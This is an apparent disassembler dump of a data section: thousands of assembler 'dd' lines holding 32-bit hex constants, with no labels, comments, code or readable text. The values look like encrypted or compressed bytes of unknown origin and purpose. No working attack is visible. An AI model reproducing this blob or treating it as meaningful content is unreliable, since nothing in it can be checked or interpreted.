dd 0A19E9629h, 0C50801D6h, 0F20D240Ch, 778CA402h, 0D6D701AEh
dd 85EF8130h, 220EE657h, 0C1D195Eh, 0D441B456h, 51018BDCh
dd 20B82BB9h, 4C8EA84Ah, 0FEFD7F8Fh, 0F2505C5Fh, 14EF4949h
dd 0E8829797h, 0E3E5DD6Dh, 7D4C0189h, 5F997F65h, 0EA05F49Eh
dd 80341604h, 12D8FD0Fh, 9F90F7C5h, 0EA71A920h, 83BA4E31h
dd 0DAE3CA8Fh, 665D4D07h, 7739E801h, 2A24E82h, 2FC850E1h
dd 410E07C8h, 0BA146F8Ch, 0B0A14AE2h, 8168B77Eh, 0CDB6851h
dd 0D2F9BD2Bh, 5148CBABh, 0E62E3585h, 6A2F8FE0h, 3E860194h
dd 7D2C8A0Eh, 0C74724F0h, 5DF681B6h, 0AE8C805Ch, 0DB259896h
dd 92EF28DFh, 81EB1250h, 94C4AAC3h, 0F47FACAEh, 408F59EEh
dd 29A56A08h, 0E112AC67h, 8B4CCC70h, 0EE936665h, 20FEA1AFh
dd 0AFB223EEh, 647BC4C7h, 5D801204h, 60317630h, 0A9EA3010h
dd 0C99DB58Bh, 79CEB496h, 26BB420Bh, 2259BA99h, 0A16A10F3h
dd 0EFEB5870h, 9DB5329h, 64FD73FAh, 0E8D295CAh, 16F76812h
dd 0E98C68AAh, 770B0225h, 20F3E4B9h, 6CBF8AE1h, 0E69E175Fh
dd 56D473FEh, 61EA48E2h, 0EEA02DDh, 2DC108AEh, 78B60BF7h
dd 0E9C897B4h, 0DB5A0AE9h, 0DF29D323h, 7C14C94Eh, 0D96542ADh
dd 0D32B800h, 312E17BAh, 0F52207C5h, 295E827Dh, 43A2A2F7h
dd 35BE011Bh, 0AA02A07h, 342017CEh, 0F80CFF41h, 9D5B201Ch
dd 0BD6213F1h, 25BB0014h, 0CA25E464h, 5A405631h, 559192F7h
dd 7FE904F3h, 0E15AC779h, 1C69BD4h, 5208AF68h, 0A5561ACBh
dd 52B0562Dh, 3B49B0F7h, 0C8FE5ABCh, 2B185937h, 0C2111224h
dd 0BC80137h, 0E9D12992h, 6EFECD40h, 2C8402EDh, 15014D9h
dd 94B3CFD6h, 0A26BF731h, 0F901C0EEh, 9C2563E9h, 0AB1B8CB4h
dd 0F0BC63Fh, 0FF6D9C11h, 4086228h, 0B934875Dh, 7F50C9F5h
dd 0DCBD1C6Eh, 0BB5307D1h, 15DF02ECh, 435A29D8h, 72924F91h
dd 51890172h, 0FF8D5804h, 481028CFh, 12BF3A47h, 0BE053D54h
dd 0A2AB6C2Dh, 0C5ED4F29h, 0CEF70125h, 976EB018h, 0C18721D4h
dd 80B08207h, 916DF168h, 5AFDA0B0h, 4FE7E8CAh, 0BEE912BAh
dd 0C004B5E1h, 0F73BF7F1h, 0A6E982D2h, 0C248F9D2h, 2E0FEF60h
dd 880E12D1h, 0C03F6180h, 837C03EDh, 737E09Eh, 887D0828h
dd 4F96E9DCh, 0F7CB4E20h, 61493903h, 67F1D7ABh, 6EA05757h
dd 0C1669C05h, 2D161B1Fh, 7396001Bh, 3E684D65h, 0E7189F4Bh
dd 0CF7A0B47h, 0EEA9AED6h, 23D70C60h, 1752860h, 880BBB0h
dd 0D04DF9E9h, 59EC8466h, 0C807EDADh, 0F7AB050h, 85A5886h
dd 748724CBh, 94FF25C4h, 5788C186h, 7CAFE8E9h, 0DAADA268h
dd 0C9FB4EFBh, 7D1E2023h, 132D4540h, 0E1D552D8h, 1321F002h
dd 0DD7992BFh, 0DC971D16h, 61E9E14Ch, 0E17F81E0h, 6CC062CFh
dd 7CC19D40h, 0AF0F5BC8h, 0E529844Fh, 0C4007316h, 25589F26h
dd 918F25E9h, 808129DDh, 657956EDh, 0D6E5ED13h, 9007A3C0h
dd 16FB4EBCh, 0E292AC8Ah, 0B62C10BBh, 8CF3FF82h, 685A01E9h
dd 9F3C0F6Fh, 3FCDC4h, 0AA0E6705h, 762D077Ah, 0A97B1A6Bh
dd 0D0702B5Dh, 0BE8420D2h
dd 0C628555Eh, 318537BBh, 0E9DD813Eh, 68092AA0h, 5D0EB25Ah
dd 0E98B9715h, 480DA37h, 5125E4EAh, 0B577C56Bh, 0F4812A90h
dd 0CA2EF463h, 44F305F6h, 28C32ADCh, 620D4CF7h, 55A0BF18h
dd 5B1741EEh, 4C097E52h, 60447D01h, 231AF602h, 58314108h
dd 0BEC74A24h, 0A2E95102h, 0D01A4A7Ch, 0F1FC9DE3h, 2FB8BC8Ah
dd 0DF056B27h, 577CE269h, 84E9907Eh, 0D6D5FD4Bh, 0F75C0DBAh
dd 702CE209h, 5BB40B7h, 0B2E13B8h, 0DD3D441Ch, 5DEE0EACh
dd 7DE83568h, 8980174Bh, 271B32B9h, 9141637Dh, 3A3B61B0h
dd 0B52ECEA0h, 0C425D967h, 617ED7Fh, 681468B5h, 0D4F47D53h
dd 0B35E104Eh, 92EE2C1Ch, 141E98A0h, 6949549Fh, 25BFB4FDh
dd 14460BE6h, 0F07EB01h, 0D6F7463Eh, 1DC1E22Ah, 1613D218h
dd 0C84F40EAh, 19685653h, 0D5B2E7Fh, 5B276680h, 32746046h
dd 10C03DA6h, 0BE43D097h, 6FC30F68h, 2D9901C2h, 9F27FE5Fh
dd 0A1F12FCDh, 1C8F6884h, 831768FFh, 75D9D582h, 611613EAh
dd 0F444C8AEh, 9B3085Fh, 0A4184E25h, 5F25EAE9h, 2536EFFh
dd 10CC3884h, 0F6EA23E9h, 2E258277h, 0D30102C8h, 4D8D717Fh
dd 5433F8E6h, 0A1EA0CD2h, 0BBC37038h, 0D73DE29Fh, 680536CFh
dd 0F9360154h, 41BD9099h, 4EF22E0Eh, 2530A297h, 7030560Ch
dd 5680A4DAh, 18E00FBEh, 0C5642216h, 2555B9C3h, 5FAD8795h
dd 79B5AEC2h, 8C304BEEh, 98954945h, 0D2CDFEF5h, 0D880FE10h
dd 98197205h, 3EAE7AAAh, 0F5034C29h, 795B619Ah, 1C1EBC2h
dd 0E3D007D5h, 7B0F2719h, 95F2FA34h, 82C965F9h, 0EC8C533Fh
dd 3F0E012Ah, 0EEC13ED6h, 9506A003h, 51F6C225h, 3A76CD07h
dd 1A7867F3h, 11FEC954h, 16067A63h, 1B486C90h, 93DCB740h
dd 888556FAh, 59047811h, 8385FE01h, 0EB9CD4EBh, 0E8B52FACh
dd 0E9C6828Eh, 9F6DFEE1h, 4F19C0BBh, 0F0F38172h, 66E6101h
dd 38E9D931h, 683CC438h, 4CD33231h, 89D26810h, 384F7EBFh
dd 759C5227h, 497F34B7h, 135050A5h, 50091E49h, 3FF3D81Ah
dd 681366ACh, 0D7D47528h, 6E524681h, 0B63A33Bh, 45EC805h
dd 988129D8h, 0B800D834h, 0F93130E7h, 14F1360Dh, 0CDF28100h
dd 3CB95618h, 7FADD60Ch, 25C2971Ah, 62B4F95Bh, 0D09126C2h
dd 0A849BDBEh, 0EA99F3C2h, 0E1068730h, 0F2B0DAF6h, 0EF5266CEh
dd 5ABFE4BAh, 801BE299h, 0AA003E27h, 26738BDh, 5A7BB036h
dd 2AD6D305h, 63F2FF84h, 0F836A5A4h, 765AE952h, 0CEFAFF16h
dd 2D294C40h, 6FB454FCh, 8AB2DB3Fh, 0DF84035h, 9B857794h
dd 4F2E482h, 0BE7AA031h, 0C0716609h, 0E97A213Bh, 4387F0FDh
dd 977A7DBAh, 0C287B37Ch, 86D6B4Ah, 3C99ED2Eh, 0B529C056h
dd 41647E79h, 42D44C80h, 0D9794857h, 8928B81Dh, 53004361h
dd 8A2FDE49h, 9E044BDh, 12526859h, 563C55Fh, 0FE66B2E9h
dd 0AAD2F5E2h, 5BF3B39Ch, 9300E35Fh, 0ECAA9E64h, 5EF7A113h
dd 92C9A23Eh, 274F67A4h, 24D1FEB1h, 0A4583D12h, 3D6721EAh
dd 8A72BDDh, 6166D061h, 9610E0F9h, 68875DA0h, 5C050E2Dh
dd 0D18BE9D7h, 1CABE863h, 0F1E06741h, 13C24A7h, 0C2B3F552h
dd 0D62C99E9h, 0CC06B1EAh, 4A0C86BDh, 4B5AE4C0h, 0A497EC57h
dd 2C7E85B8h, 0A51156CBh, 27C555h, 12786857h, 499A47BEh
dd 6BC6897h, 0F7799DF5h, 0B6FC488h, 0CA80EED1h, 46AC3738h
dd 737FC4B0h, 0ABFDEAEBh, 63C9FD42h, 0CFE9CE91h, 3FE17BC3h
dd 292DB56Ch, 84BC1AD7h, 86B122E1h, 0F522A92Eh, 5B4577A0h
dd 0F769FA84h, 0E928303Fh, 9B9FB168h, 63A2FFB8h, 9B88567Eh
dd 4DD9E12Dh, 0FD403AB0h, 1CFACA3Bh, 8BD94E89h, 9A0504F3h
dd 82EE9058h, 78B2DC4h, 55022945h, 0D96C3368h, 0A25797D8h
dd 6A72C45Bh, 0EC44E905h, 16BE03FCh, 0F9217856h, 302A3FAFh
dd 0C03372E9h, 29E4675Bh, 2BB402F7h, 0FE09A406h, 5279FE55h
dd 0B920587Ah, 68C68136h, 0CC265ECDh, 0FD677F00h, 5DE94B66h
dd 0F5A92260h, 58C5C4E1h, 4200FE39h, 6874A869h, 18950406h
dd 165CDDB8h, 0BB215DF5h, 0F707E642h, 0E6747DD9h, 0C8B89882h
dd 30C8D57Fh, 58092DE8h, 847E970Fh, 29ABFCBCh, 6ACDF02Eh
dd 0FDA58BDDh, 660CD18Ch, 7B801ECh, 45651627h, 0DC7D0C14h
dd 0E118C217h, 0C50CF101h, 1E761349h, 0ABC4BB71h, 94EF0813h
dd 7D9B82E2h, 1722D9FDh, 0EFFE5219h, 0CD1D4E3h, 172248D8h
dd 7F3E7BDh, 0B49D868h, 2F41455Dh, 92D6AB4Ah, 0E9FE49A5h
dd 7CD67DFAh, 0D4BF57C0h, 47F60C01h, 5504DFF7h, 0F04EE92Fh
dd 72DC95F8h, 0E9890953h, 7DA7AF8Ah, 0F89F72E0h, 0E3A8A9FEh
dd 9CD609BFh, 51DB377h, 40469EE9h, 5DBBCAB4h, 47B06C12h
dd 9A1A953h, 4630B068h, 428E2DBFh, 7620A866h, 3BBE0E7Eh
dd 77EF1Dh, 0B79EBA9Dh, 2931E987h, 5BDE5179h, 8C6EBD3Fh
dd 80274257h, 4616FEBBh, 9D092F25h, 6E818051h, 464DD0Dh
dd 0CE6D95B9h, 0C9218017h, 38FB761Bh, 8C12824h, 3364D7FAh
dd 7E80EED5h, 0A0215C64h, 81D50C8Ch, 80783949h, 6B0942AAh
dd 0B0F092E9h, 37BB4FCEh, 0AEDFD2DFh, 2D48657Fh, 0C84CA7FCh
dd 377F1268h, 31040B15h, 0E9518568h, 95477430h, 0BEB041F6h
dd 1F6E262Ah, 0B213D253h, 776093E0h, 48ADDBE9h, 0C9B293FEh
dd 0EEB25200h, 3AF8702Ch, 0A14C04D0h, 5A809410h, 63835BF0h
dd 50B62DEFh, 0CCE1CEE9h, 51120FEEh, 81EBF188h, 28C0E5C9h
dd 0B71EC4AEh, 0ECCB0113h, 0EC7F7C2Ch, 0F892CF61h, 0F92011B8h
dd 751A9DDAh, 0D9599A06h, 0F81ED890h, 0D4C9D573h, 63FEFEE3h
dd 4D7EEC4Eh, 5A95505Dh, 0D8F7EBC1h, 0DC7864E9h, 0B02592Ch
dd 0B690F10Ah, 0ABA41631h, 105049FCh, 0D94005B6h, 8828012Ch
dd 0B35358C5h, 8DDCC17Eh, 42E2DE64h, 2928D4C1h, 0A53F416h
dd 8C708CEh, 290BDD15h, 40F70938h, 67C380CCh, 6620067Ch
dd 0E02A2AEBh, 0C51DCBC7h, 9DE1506h, 0A42D22E6h, 98FA5FF5h
dd 0A9404585h, 511C00B3h, 2FB0E1B5h, 280B6C2Ch, 70DDE9E8h
dd 9EFF9792h, 84E918CBh, 0BE5E24BCh, 82B4409h, 27585CFBh
dd 2B400EE2h, 0F20F0B65h, 0D2E7E92Ah, 936535BBh, 6940476Eh
dd 3CFA96CDh, 275D493Eh, 0CEBC088Ch, 690D65ADh, 0EC838CF7h
dd 0CB6FEA81h, 6E4545AAh, 77705F87h, 0C2E3C1BFh, 39703A65h
dd 58014063h, 85E7801Ch, 5112C7C0h, 3EC04BB1h, 1E7302E1h
dd 0FC1FEEAh, 0C31C03E9h, 59CF3088h, 5005340Fh, 0E4007FB4h
dd 0E9D4F651h, 7F38ED89h, 0A439BAA4h, 4185EC74h, 93E7475Fh
dd 3358C831h, 0B5BF2283h, 0FC95F9D0h, 0E5E1B46h, 1554C39Ch
dd 8EB1F28h, 8552D19Eh, 89FC6F5Ah, 1B89BE38h, 0C9E22BA1h
dd 0BD1444FDh, 2505272h, 0CBB0EF9Eh, 73EBF84Bh, 634A5F04h
dd 0AC4F04ECh, 0F49FC2C8h, 765F5FEh, 0C95BD98Bh, 3B1745F8h
dd 64024380h, 0C12E2394h, 0CF014CEFh, 58077CACh, 29C3C282h
dd 60F5AE3Dh, 80646D37h, 0D5EED128h, 68049FB6h, 971E636Fh
dd 287B925h, 0A02841F3h, 0BC22F72Bh, 0E9184B6Ch, 0E12AB795h
dd 0E6ED08DFh, 8554530Bh, 50B2762Ch, 0C41D9585h, 0BCEDAF0Bh
dd 51019ED0h, 0E925084Ah, 71D4DE10h, 9CD6ECE9h, 0B495A50Fh
dd 0ACAE985h, 1DD2089h, 12D24F60h, 0E6AD472h, 868BBF2Ch
dd 6A8420Eh, 4FA12C0Eh, 0FAA6258Dh, 744867EBh, 590B1228h
dd 0E1355C08h, 2E2057F7h, 0B26F9AD3h, 4FFA5C08h, 0A995F7CCh
dd 9D55F340h, 55FA2E54h, 0E9C13559h, 522A501Dh, 57B1EB51h
dd 5C0E2230h, 0C4B4CFB9h
dd 0E90B640Ah, 0EB21956h, 0E53EEF1Dh, 2C46ED21h, 2BAB4F2Ch
dd 29EA4AD9h, 68188750h, 82DB2CBFh, 8BAB2552h, 0A0DD94EEh
dd 0B7387223h, 3059CEB1h, 27136076h, 0DF04169Eh, 0C740E599h
dd 38233AFAh, 0AA05F9Fh, 9902DA9Eh, 0D20DFA97h, 44B0FB08h
dd 0F1B83950h, 95FA682h, 0C24258C7h, 5B5836A9h, 0C208A2BCh
dd 0BA520048h, 39A64B9Dh, 67F8314Fh, 15F160E7h, 1F0D5568h
dd 3A752CE9h, 82A95730h, 100B7FFBh, 593548DDh, 1AC2F19h
dd 0E94D90FFh, 0E76B9D7Bh, 0D8410EDEh, 4BEFAC2Bh, 0CD4A6BEDh
dd 0D21960E6h, 0C1AA8483h, 9A30F699h, 555EFB37h, 57270572h
dd 0A8D24642h, 95CA683Eh, 2ACF451h, 9BAC070Bh, 0C280C19Ch
dd 0D6442875h, 7C5EA8ABh, 2811F130h, 693A9EBBh, 455544E1h
dd 257E2D1Ch, 25773C05h, 4C1BAC01h, 0C0204DA0h, 652816A6h
dd 0F784EB19h, 0F75A0801h, 248049D9h, 0ECFFC568h, 8298CA09h
dd 4F8AF540h, 8D71E504h, 0A7D8A6B6h, 9BA414D9h, 5F3F0166h
dd 38935FBh, 0A493FB40h, 4B08CDBEh, 9E522EC3h, 4E556201h
dd 0E6F84634h, 61303CC7h, 470A5D5Ch, 0B8E4010h, 0FFF46978h
dd 0CA0DEC5h, 4F1460E8h, 1147D850h, 0DFBF8D00h, 37ACE145h
dd 7329001Bh, 0B02FC089h, 0CDA1179Fh, 0B51D7EF1h, 0BF0C64D0h
dd 570A18E4h, 0D6B70F00h, 80198B5Eh, 0E08F60EAh, 234B7A34h
dd 49BE660Ch, 91F14E0h, 0F55DA44Ah, 4C7A0200h, 53EE7818h
dd 13098490h, 310976h, 890F01B5h, 82ABD903h, 76C440C7h
dd 1D1EBB7Bh, 92B3CE80h, 0E8131872h, 9F382F0Bh, 1C502F58h
dd 3380FF40h, 8B605C19h, 1893A1CAh, 250A0C4h, 0F4F5E61h
dd 76489F85h, 5A00D68Bh, 0E0A5D3DAh, 0FCC4F435h, 8ABB1D27h
dd 0A080BBADh, 0C5DE33ECh, 0A47CD193h, 0DA83D900h, 0DCCFE1A2h
dd 2FC107C8h, 0C2ADF6BBh, 49CF908h, 0E1755501h, 1FB044C6h
dd 812B189Eh, 3F8C9658h, 8442007h, 62E48E00h, 0AB44EFF0h
dd 0AEFB0627h, 2956952Ch, 59111B42h, 8B72165h, 2F9054A2h
dd 48670584h, 52E94243h, 0D000512Fh, 0AF197291h, 5E904E76h
dd 0EF00BD7Bh, 59B36596h, 9B2ECh, 60D8DB12h, 0B425E383h
dd 0C8B8AC00h, 22DE827Eh, 0CA66081h, 0D4B5A7D0h, 0E4096600h
dd 0AFAC23D8h, 28AD1EBEh, 0FEFDC0F1h, 1AF8A2A3h, 1FE17101h
dd 99DF2632h, 3FE4CCh, 8A1772D6h, 759A9185h, 0CE00FA78h
dd 0E407F803h, 24F437h, 0F69F6B6Eh, 0B7C86941h, 3C905F00h
dd 9B182CA0h, 7BE6715Ah, 64D139CEh, 8BFE9100h, 3710C4F7h
dd 65F2CC00h, 0D555DBDFh, 9F2E01D8h, 0BA8405FDh, 9633DC87h
dd 0EC435100h, 5CB05DCDh, 6FEAC0h, 973BF464h, 62C87C45h
dd 0B179C500h, 5D03FD02h, 221D1FAEh, 2868C0FAh, 8D9D6B6Ch
dd 8A486673h, 4AD00000h, 0EDE63F25h, 77DBF279h, 457398h
dd 2C0164D8h, 5E4A36ACh, 7F377E00h, 4843DECDh, 3915009Ah
dd 42DDC286h, 1300984Ch, 0A87FE24Fh, 30B3F864h, 0EEF074A3h
dd 1503B57Ah, 0BA5FF291h, 0B0F78828h, 0C1F2FCh, 3E780926h
dd 207DA39h, 8C08E404h, 0CF80A412h, 0C2C08Fh, 0F6AF0EB3h
dd 0F92689B7h, 11A6ED00h, 0E6732C2Eh, 3D2818F1h, 217C69E0h
dd 356C300h, 0EA04558Ch, 3F59125Bh, 0FB7800A7h, 44E11AC9h
dd 8FE66E00h, 0F710C5F1h, 0EB1D004Eh, 11DAF4B2h, 0B00090FAh
dd 6D1B0B18h, 0E240E5DCh, 160A0117h, 46FFC96Ah, 9D9FD05Ah
dd 289065FEh, 95DBC000h, 348D14E3h, 0BEFA0083h, 0C43B9E4Bh
dd 891EC369h, 9D4046D7h, 5B291941h, 0DAF20063h, 34CB5C4Fh
dd 4607D51Fh, 1E4973A8h, 903E2E00h, 264C00E3h, 0EA928039h
dd 9614885Eh, 0F44705h, 9C362E35h, 8DAE4Fh, 97ADC73Dh
dd 0C4FBB67Eh, 5D0032E0h, 399370CCh, 12347459h, 40F62E9Eh
dd 0FDCAA6FCh, 0DD005848h, 3B77CE9Fh, 7784BF67h, 0C52F007Ch
dd 54FB8113h, 531CFC3Eh, 5580D9ECh, 0B7145D46h, 0A3B097h
dd 807EB016h, 188C13DCh, 0ABD97000h, 893DC81Bh, 0C27703DBh
dd 0B0F5F6B7h, 51F041E0h, 87AA1E00h, 9955BAFEh, 0DF6F00E3h
dd 0B1175885h, 0FA0148FCh, 51309A96h, 5430F329h, 0E0E6FB2Ah
dd 215A83h, 0C1681EE7h, 0CC1419A3h, 910C7874h, 99F30181h
dd 0E74800F8h, 9C63F5Eh, 0B048158Ah, 392703ECh, 0F402FE4Fh
dd 77DCCC80h, 158400E9h, 6106D282h, 0BA003FDFh, 0BE3A0E31h
dd 0DCED5Bh, 3CCDA812h, 0D8080563h, 0A3E73803h, 0C84B79D6h
dd 1E900CA2h, 0BBB33CECh, 0F25F4980h, 9C69B538h, 1847E800h
dd 94A6190Fh, 445B01D1h, 0DD9BC290h, 10C44088h, 7F13E50Bh
dd 5B022DA6h, 80FF591Bh, 0C1A31988h, 0F6E26Ch, 0F7BE1E8Ah
dd 829F0DBFh, 565A0800h, 9E02C6F9h, 580C0081h, 0BF220F54h
dd 0C0906667h, 26346310h, 11008C94h, 9C899E24h, 0F7001E7Eh
dd 0D92CBC84h, 0BF191Ah, 7841C1A6h, 0DFFA708Ch, 0EDF3E606h
dd 4810CA1Fh, 0AA00001Ah, 0A6943021h, 9001E624h, 0FCBD8B71h
dd 2C20AF0Dh, 64F8919Ah, 0B0E680A7h, 4377117Bh, 0FB0B4100h
dd 0E6EB8078h, 5CB81Dh, 3D8F5F6Ch, 992BB5E8h, 921C2A00h
dd 47D2A9A5h, 83E90F27h, 71A0902Fh, 8E321E45h, 28E17300h
dd 342767BAh, 0A8FA4855h, 61D38500h, 339E65AAh, 0EC73FC00h
dd 5FC67CF7h, 0D630074Dh, 0CFA763CEh, 909C8D20h, 1100CAFFh
dd 0A921BCA8h, 7DE26AFBh, 23BF3027h, 0F7700FE8h, 0CC594490h
dd 0CFD98018h, 0E41446h, 390CA957h, 38E5FD7Eh, 99E20400h
dd 7C2AB56Dh, 3A7100CBh, 0D17552FCh, 542C9D06h, 410004C0h
dd 0B1C670D7h, 0CB9E5C59h, 0C73AB63Bh, 9C774D80h, 0C4F03AF6h
dd 74F97300h, 0C3BC9BFEh, 0A715002Dh, 0CCF5055Eh, 6900CF1Ah
dd 0FFC596F7h, 1CF0BDh, 0CAEC97BCh, 169CA3DDh, 70B7DE30h
dd 0FF05DCBh, 4C0B3464h, 0D72401D7h, 81D09B35h, 1C29D431h
dd 3BE11B64h, 19C8CF0h, 5D854D0Dh, 47F5128Ah, 49FF2084h
dd 0D200CE43h, 0F1EFA468h, 89850Bh, 0F06D5311h, 0CF860AB8h
dd 377BB612h, 0C02D600h, 765691Ah, 39A2DE3Ah, 13630074h
dd 0F80043BEh, 0FF15820Dh, 12AE44h, 7ED2E63Eh, 93E360B1h
dd 5B03EC92h, 0FD51E0A2h, 0D4A1C85Eh, 0C82500B6h, 854F466Ah
dd 5F002B13h, 0D94AB121h, 0CB5EAEh, 95AA14D6h, 0E35CB478h
dd 0BF018A3Ah, 0DAE90329h, 9890518Eh, 0B12A27Bh, 0AA8B84B5h
dd 0A4221C01h, 6C72A831h, 36DD171Ch, 820A6080h, 2DE11D6Ah
dd 0F0FEC33Ch, 0D840BE13h, 0CAC7CC6h, 31EF0097h, 0F4B4D0B0h
dd 0EA7F9E6Ah, 0AAD24D00h, 89F23CFEh, 1C6258E0h, 0F877EC00h
dd 0A0165AE3h, 57369D00h, 0B2C88C59h, 144300E0h, 0C974CBD4h
dd 24B08839h, 54DB3500h, 26E4B0FEh, 598F09Bh, 7EF47F23h
dd 6A940FBEh, 3E3C65E3h, 74528CE0h, 0F807D000h, 90D176EFh
dd 43B75D7h, 63EE9196h, 539C807Ch, 6500A91Fh, 2FFA56BCh
dd 0C16D1EEAh, 2A04B270h, 5820600Ch, 0EB805720h, 0F8CD4FC8h
dd 3040C0C5h, 508F25F7h, 7F029003h, 0F0D01A9Eh, 547852FAh
dd 7BCE2h, 95FEBE7Ch, 184472CEh, 14896200h, 2C06F319h
dd 1CB028F4h, 0CD20009Dh, 96512D04h, 0E300D37Bh, 8E3C743Dh
dd 64E2B4h, 0AD8832A6h, 23E65C1Ch, 0DCAFEE13h, 0A18B340Fh
dd 127ACB79h, 360E2FCh, 6E59E716h, 0ED807BDFh, 62009DA3h
dd 5066E9BAh, 0E88527A2h, 0B1D5004Fh, 0E05CEC19h, 0CB3D82C3h
dd 5E2E12C4h, 22BBDC04h, 0F8472580h, 0EA1800AFh, 79CCB688h
dd 1201C99Bh, 7313B708h
dd 83F8559Eh, 8A3C00F2h, 1CD52F8Dh, 6B01EB68h, 6E1EB208h
dd 79EC4EE1h, 5F2D9h, 0C91AC2FFh, 0F73956D0h, 74555Ch
dd 22C89D41h, 90F4AD7Fh, 3B6900BCh, 960A06B5h, 0AC00E7D4h
dd 14497735h, 0E12FDCh, 4A7634ADh, 3B7F3A5Ah, 69FC500h
dd 79651E70h, 9EC21E36h, 6F14000Dh, 0E44FAA07h, 0F6F30E40h
dd 5DF9059Ah, 0C1378F62h, 0F5177702h, 3BDD095h, 0B0245500h
dd 68AB287Fh, 0F8AC2819h, 0FA2200ABh, 0E21FC62Ah, 0B004746Ch
dd 0EC98570Bh, 0B4556DC0h, 749067h, 0E3877EB8h, 96933E4Fh
dd 34134C00h, 5676AF10h, 8F530224h, 854178A0h, 8E843040h
dd 0DA0B7A00h, 9F443C99h, 4894D4h, 904D37ADh, 0F61F6BDFh
dd 4BC9C992h, 841B8099h, 46D9C6h, 3D119E4Ah, 8CD7C480h
dd 0EC33A60Bh, 0FF8C006Bh, 0B0AAB9h, 3A90B4AEh, 0FE9C3B8Dh
dd 4FF07A00h, 0E206A240h, 30BB0074h, 0FC13C4F3h, 380CB05Ah
dd 0D1C68D8Eh, 7ECC00FEh, 0D07DEEC0h, 0D101E63Fh, 5F96544Dh
dd 3EC440CFh, 0EA6500D4h, 0AF52E068h, 6A0015F6h, 978995C7h
dd 902836D8h, 0D20E3CAAh, 1EC401A8h, 6EE08Ch, 4EDD681Ah
dd 0CC0041DCh, 7A3BA8D9h, 1FD50F1Eh, 41954705h, 1D0B3D09h
dd 738209Ah, 19986867h, 3D715B86h, 0FA50D040h, 49590276h
dd 0F0C20E13h, 959298E0h, 46EE4F00h, 0E64CC357h, 0DDAB1DB8h
dd 0F9E1C020h, 0BD73DEB3h, 2DCC1500h, 93858F0Fh, 0BCFD00EEh
dd 0BF6CC747h, 0E500BA3Eh, 88C0F40Eh, 0D33920h, 0F2EA72C6h
dd 1FD88C30h, 0FEAE3300h, 35B27A91h, 17B600EDh, 2EA0818Dh
dd 0DFA098B9h, 330CE71h, 0F437C05Ah, 3CE51C2Ah, 4A085C29h
dd 40F0435Bh, 0E723D983h, 0CC37D30Eh, 8550E0B0h, 2A70486h
dd 6F5C1A29h, 75419Ah, 0D303E70Dh, 78C3013Dh, 7CBD9582h
dd 0B7F4E8D1h, 0EA5E1700h, 8C285576h, 10A1007Eh, 298D73BBh
dd 6F051DD3h, 0BDFD3FDAh, 91DCC7C0h, 0AE6D50CFh, 0BC250B59h
dd 2F80C46Bh, 41D17982h, 0E47A38h, 8362CC68h, 0F84EE7h
dd 2BC1BA81h, 42C615CDh, 36DFA400h, 1788CF8Ah, 28000FAh
dd 0E4AB7411h, 0A0001445h, 0BA0C4B6Ah, 0AEE21Dh, 0EC77D857h
dd 29548D82h, 0F4D98B00h, 26E32B48h, 168800E9h, 0ACB4FDD2h
dd 0F9004A72h, 148C5217h, 31B36Ch, 5D9F3355h, 0AB78E565h
dd 32188800h, 0A12198A7h, 9E4424D9h, 48C20038h, 94A0316Fh
dd 0D51B871Eh, 0C1774F80h, 0E8BDF156h, 0CED0039Fh, 0B6555053h
dd 4A0548BEh, 648228E7h, 2FADD580h, 377613B4h, 9A30C087h
dd 0E60572D8h, 7EB778F8h, 944D04C0h, 4E75EAh, 2EFC5260h
dd 0C34BA0F1h, 0F86E6200h, 48BBFD32h, 536D09C2h, 0D90039F5h
dd 2BC8CC5Eh, 84DD3426h, 81F29F07h, 3CA67A83h, 3601BA11h
dd 472C159Eh, 980BE03h, 60A10D87h, 0EE02678h, 0D0249AE4h
dd 618C8E80h, 3A3EEFF0h, 0B0773BC0h, 9C37B988h, 68100CAh
dd 0CFCF243h, 3E38A70Eh, 3A9E18C9h, 1424A140h, 303186ABh
dd 3C4B2C14h, 3FC8FC41h, 3508CB9Ch, 462CEE82h, 32344CA4h
dd 0DF4400F8h, 0AE00FB50h, 0E62C629Ch, 597C356h, 55354212h
dd 504B800Eh, 5008C96h, 0B6A4AE32h, 9E94F98h, 0E59AD559h
dd 0E013E001h, 0E780D0FDh, 432C1707h, 14B0FFDAh, 0ABAFD7h
dd 0C195CED9h, 7EBEF9E4h, 80DF5C3Ch, 0A930BFEBh, 2E8CF3FFh
dd 2BCB558h, 0EA732FA8h, 208E0DE0h, 0D117D200h, 34BCE6C0h
dd 0F1D000C1h, 2192FDE1h, 8F072C0Ah, 0B2C755B5h, 7BF7CD80h
dd 1C80080h, 0F28A2D3Ch, 200504Ch, 2F04E9D6h, 0BB2B6E7h
dd 843F8E76h, 22994840h, 1E20414Ch, 0E8058C90h, 0CC458921h
dd 68A0AAACh, 42DE8BEh, 20E9F8C2h, 7435E8Ch, 7D944B3h
dd 0C5C90311h, 191FF4BEh, 9B60E638h, 8849C1E3h, 0F5F291B8h
dd 8F8181EEh, 0E53FC99Dh, 0EF791180h, 0A57219D8h, 8DBF980h
dd 0A30FC2C3h, 739B804Fh, 0F3E1BCh, 30CFDEFh, 913437D5h
dd 82AD8C0Bh, 19B8992h, 4A629687h, 0C4B65BE4h, 8845AA10h
dd 0B1006B3Ch, 9C3401C3h, 8781B2h, 0C824F69Dh, 82F5F2E4h
dd 0A07B7218h, 0F206A38h, 0A4C3CF7Ch, 836F5787h, 1000E265h
dd 0C99AE9AEh, 3DA5ACD1h, 0F6B3C6E4h, 0F2E1F9D6h, 0F0A0F5CCh
dd 9D6308C7h, 0E0F1A829h, 3ADB3C5h, 386D470Eh, 5006E025h
dd 87574A06h, 0D0F90178h, 0D43B858Ch, 0ADF081D3h, 0F2A6EE17h
dd 0BE3E3889h, 92400A0h, 0E4A0CC46h, 95245B9Bh, 0AE02B857h
dd 829EACB7h, 20C68EF4h, 0D433B685h, 868820A7h, 70A2C354h
dd 8801EBB2h, 8080BA1Bh, 19F1106Fh, 0AC2AA4C2h, 1F90FC15h
dd 0AAE9900h, 85FAD50Bh, 0DCA30317h, 9CD343B6h, 0EB03CB97h
dd 5028E16Ah, 3825DCC5h, 878803Fh, 3A46C8D9h, 0E7866FAAh
dd 8E17604h, 0B221DE60h, 0CB46F0h, 0FCED3B32h, 1E593A8Ah
dd 6DA2A1C0h, 28720F5Ch, 4CA49963h, 0A9870011h, 103AA012h
dd 0E912D739h, 8408422h, 0A1D2C30Eh, 4F4D4C29h, 60077A78h
dd 5BEE39B2h, 0D000FAF7h, 3A32BC96h, 3A196037h, 1758EB28h
